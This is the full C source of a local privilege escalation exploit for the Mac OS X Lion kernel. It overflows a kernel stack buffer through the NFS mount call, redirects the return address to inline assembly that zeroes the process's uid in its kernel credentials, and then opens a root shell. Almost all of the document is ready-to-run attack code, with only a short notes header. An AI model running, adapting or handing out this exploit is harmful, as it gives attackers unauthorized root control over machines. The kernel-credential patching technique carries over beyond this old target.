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/*
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 * Apple Mac OS X Lion Kernel <=  xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
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 * CVE None
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 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
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 *
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 *
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 * Notes:
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 *  This exploit leverage a stack overflow vulnerability to escalate privileges.
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 *  The vulnerable function nfs_convert_old_nfs_args does not verify the size 
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 *  of a user-provided argument before copying it to the stack. As a result by
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 *  passing a large size, a local user can overwrite the stack with arbitrary 
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 *  content.
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 *
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 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
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 * Tested on Max OS X Lion xnu-1699.32.7  (x86_64)
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 *
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 *   Greets to taviso, spender, joberheide
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 */
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#include <stdio.h>
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#include <stdlib.h>
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#include <strings.h>
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#include <errno.h>
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#include <sys/mman.h>
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#include <sys/mount.h>
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#include <sys/param.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include <unistd.h>
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/** change these to fit your environment if needed **/
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#define SSIZE       (536)
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/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
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struct user_nfs_args {
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    int     version;    /* args structure version number */
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    char*   addr __attribute__((aligned(8)));       /* file server address */
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    int     addrlen;    /* length of address */
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    int     sotype;     /* Socket type */
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    int     proto;      /* and Protocol */
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    char *  fh __attribute__((aligned(8)));     /* File handle to be mounted */
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    int     fhsize;     /* Size, in bytes, of fh */
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    int     flags;      /* flags */
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    int     wsize;      /* write size in bytes */
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    int     rsize;      /* read size in bytes */
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    int     readdirsize;    /* readdir size in bytes */
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    int     timeo;      /* initial timeout in .1 secs */
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    int     retrans;    /* times to retry send */
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    int     maxgrouplist;   /* Max. size of group list */
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    int     readahead;  /* # of blocks to readahead */
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    int     leaseterm;  /* obsolete: Term (sec) of lease */
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    int     deadthresh; /* obsolete: Retrans threshold */
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    char*   hostname __attribute__((aligned(8)));   /* server's name */
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    /* NFS_ARGSVERSION 3 ends here */
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    int     acregmin;   /* reg file min attr cache timeout */
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    int     acregmax;   /* reg file max attr cache timeout */
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    int     acdirmin;   /* dir min attr cache timeout */
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    int     acdirmax;   /* dir max attr cache timeout */
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    /* NFS_ARGSVERSION 4 ends here */
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    uint    auth;       /* security mechanism flavor */
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    /* NFS_ARGSVERSION 5 ends here */
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    uint    deadtimeout;    /* secs until unresponsive mount considered dead */
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};
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/** sets the uid for the current process  and safely exits from the kernel**/
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static void r00t_me() {
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    asm(
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        // padding
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        "nop; nop; nop; nop;"
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        // task_t %rax = current_task()
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        "movq   %%gs:0x00000008, %%rax;"
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        "movq   0x00000348(%%rax), %%rax;"
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        // proc %rax = get_bsdtask_info()
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        "movq   0x000002d8(%%rax),%%rax;"
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        // ucred location at proc
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        "movq   0x000000d0(%%rax),%%rax;"
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        // uid = 0
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        "xorl   %%edi, %%edi;"     
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        "movl   %%edi, 0x0000001c(%%rax);"
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        "movl   %%edi, 0x00000020(%%rax);"
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        // fix the stack pointer and return (EACCES)
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        "movq   $13, %%rax;"
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        "addq   $0x00000308,%%rsp;"
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        "popq   %%rbx;"
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        "popq   %%r12;"
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        "popq   %%r13;"
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        "popq   %%r14;"
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        "popq   %%r15;"
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        "popq   %%rbp;"
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        "ret;"
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        :::"%rax"
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    );
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}
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int main(int argc, char ** argv) {
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    struct user_nfs_args xdrbuf;
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    char * path;
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    char obuf[SSIZE];
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    /** clear the arguments **/
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    memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
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    memset(obuf, 0x00, SSIZE);
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    /** set up variable to get path to vulnerable code **/
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    xdrbuf.version = 3;
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    xdrbuf.hostname = "localhost";
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    xdrbuf.addrlen = SSIZE;
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    xdrbuf.addr = obuf;
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    /** set ret address **/
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    *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
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    printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
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    /** create a unique tmp name **/
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    if ((path = tmpnam(NULL)) == NULL) {
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        // path can be any directory which we have read/write/exec access
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        // but I'd much rather create one instead of searching for one
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        perror("[-] tmpnam");
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        exit(EXIT_FAILURE);
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    }
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    /** make the path in tmp so that we can use it **/
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    if (mkdir(path, 0660) < 0) {
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        perror("[-] mkdir");
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        exit(EXIT_FAILURE);
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    }
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    /** inform the user that the path was created **/
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    printf("[*] created sploit path%s\n", path);
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    /** call the vulnerable function **/
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    if (mount("nfs", path, 0, &xdrbuf) < 0) {
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        if (errno == EACCES) {
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            puts("[+] escalating privileges...");
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        } else {
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            perror("[-] mount");
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        }
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    }
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    /** clean up tmp dir **/
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    if (rmdir(path) < 0) {
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        perror("[-] rmdir");
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    }
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    /** check if privs are equal to root **/
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    if (getuid() != 0) {
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        puts("[-] priviledge escalation failed");
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        exit(EXIT_FAILURE);
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    }
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    /** get root shell **/
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    printf("[+] We are now uid=%i ... your welcome!\n", getuid());
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    printf("[+] Dropping a shell.\n");
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    /** execute **/
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    execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
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    return 0;
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}
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